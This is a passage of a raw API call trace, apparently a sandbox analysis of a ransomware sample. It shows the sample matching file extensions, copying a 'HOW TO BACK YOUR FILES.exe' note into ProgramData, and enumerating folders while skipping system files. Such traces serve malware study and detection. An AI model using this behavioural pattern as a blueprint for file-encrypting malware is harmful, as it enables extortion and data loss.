	[0050.460] lstrcmpiW (lpString1="wim", lpString2="cma") returned 1
	[0050.460] lstrlenW (lpString="cpd") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="cpd") returned 1
	[0050.461] lstrlenW (lpString="dacpac") returned 6
	[0050.461] lstrcmpiW (lpString1="re.wim", lpString2="dacpac") returned 1
	[0050.461] lstrlenW (lpString="dad") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dad") returned 1
	[0050.461] lstrlenW (lpString="dadiagrams") returned 10
	[0050.461] lstrlenW (lpString="daschema") returned 8
	[0050.461] lstrcmpiW (lpString1="inre.wim", lpString2="daschema") returned 1
	[0050.461] lstrlenW (lpString="db-journal") returned 10
	[0050.461] lstrlenW (lpString="db-shm") returned 6
	[0050.461] lstrcmpiW (lpString1="re.wim", lpString2="db-shm") returned 1
	[0050.461] lstrlenW (lpString="db-wal") returned 6
	[0050.461] lstrcmpiW (lpString1="re.wim", lpString2="db-wal") returned 1
	[0050.461] lstrlenW (lpString="dbc") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dbc") returned 1
	[0050.461] lstrlenW (lpString="dbs") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dbs") returned 1
	[0050.461] lstrlenW (lpString="dbt") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dbt") returned 1
	[0050.461] lstrlenW (lpString="dbv") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dbv") returned 1
	[0050.461] lstrlenW (lpString="dbx") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dbx") returned 1
	[0050.461] lstrlenW (lpString="dcb") returned 3
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dcb") returned 1
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dct") returned 1
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="dcx") returned 1
	[0050.461] lstrcmpiW (lpString1="wim", lpString2="ddl") returned 1
	[0050.461] lstrcmpiW (lpString1=".wim", lpString2="dlis") returned -1
	[0050.462] lstrcmpiW (lpString1="wim", lpString2="dp1") returned 1
	[0050.462] lstrcmpiW (lpString1="wim", lpString2="dqy") returned 1
	[0050.462] lstrcmpiW (lpString1="wim", lpString2="dsk") returned 1
	[0050.462] lstrcmpiW (lpString1="wim", lpString2="dsn") returned 1
	[0050.462] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData", iMaxLength=260 | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0050.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597920 | out: hHeap=0x580000) returned 1
	[0050.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0050.462] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0050.462] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0050.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.462] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.463] GetLastError () returned 0x0
	[0050.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.463] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.463] CloseHandle (hObject=0x15c) returned 1
	[0050.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.463] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.463] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.463] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.463] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.463] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.463] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.463] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0050.463] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1
	[0050.464] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1
	[0050.464] lstrlenW (lpString="Adobe") returned 5
	[0050.464] lstrlenW (lpString="C:\\ProgramData\\*") returned 16
	[0050.464] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0050.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0050.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2a) returned 0x5b7f78
	[0050.464] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0050.464] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0050.464] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0050.464] lstrlenW (lpString="Application Data") returned 16
	[0050.464] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20
	[0050.464] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0050.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0050.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b5ed8
	[0050.464] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0050.464] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0050.465] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0050.465] lstrlenW (lpString="Desktop") returned 7
	[0050.465] lstrlenW (lpString="C:\\ProgramData\\Application Data") returned 31
	[0050.465] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0050.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0050.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e98
	[0050.465] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0050.465] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0050.465] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0050.466] lstrlenW (lpString="Documents") returned 9
	[0050.466] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22
	[0050.466] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0050.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0050.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca2d0
	[0050.466] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0050.466] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0050.466] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0050.466] lstrlenW (lpString="Favorites") returned 9
	[0050.466] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24
	[0050.466] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0050.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0050.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca310
	[0050.466] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0050.466] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a843a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.466] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.466] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0050.466] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.466] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0050.466] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0050.466] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0050.467] lstrlenW (lpString="Microsoft") returned 9
	[0050.467] lstrlenW (lpString="C:\\ProgramData\\Favorites") returned 24
	[0050.467] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0050.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0050.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca4d0
	[0050.467] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0050.467] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="Apollon865.txt.exe") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1
	[0050.467] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1
	[0050.467] lstrlenW (lpString="Microsoft Help") returned 14
	[0050.467] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0050.467] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help"
	[0050.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0050.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b62c8
	[0050.468] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0050.468] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="Apollon865.txt.exe") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1
	[0050.468] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1
	[0050.468] lstrlenW (lpString="Mozilla") returned 7
	[0050.468] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help") returned 29
	[0050.468] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla"
	[0050.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0050.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e60
	[0050.468] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0050.468] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="Apollon865.txt.exe") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1
	[0050.468] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1
	[0050.469] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1
	[0050.469] lstrlenW (lpString="Oracle") returned 6
	[0050.469] lstrlenW (lpString="C:\\ProgramData\\Mozilla") returned 22
	[0050.469] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle"
	[0050.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0050.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7fb0
	[0050.469] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0050.469] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
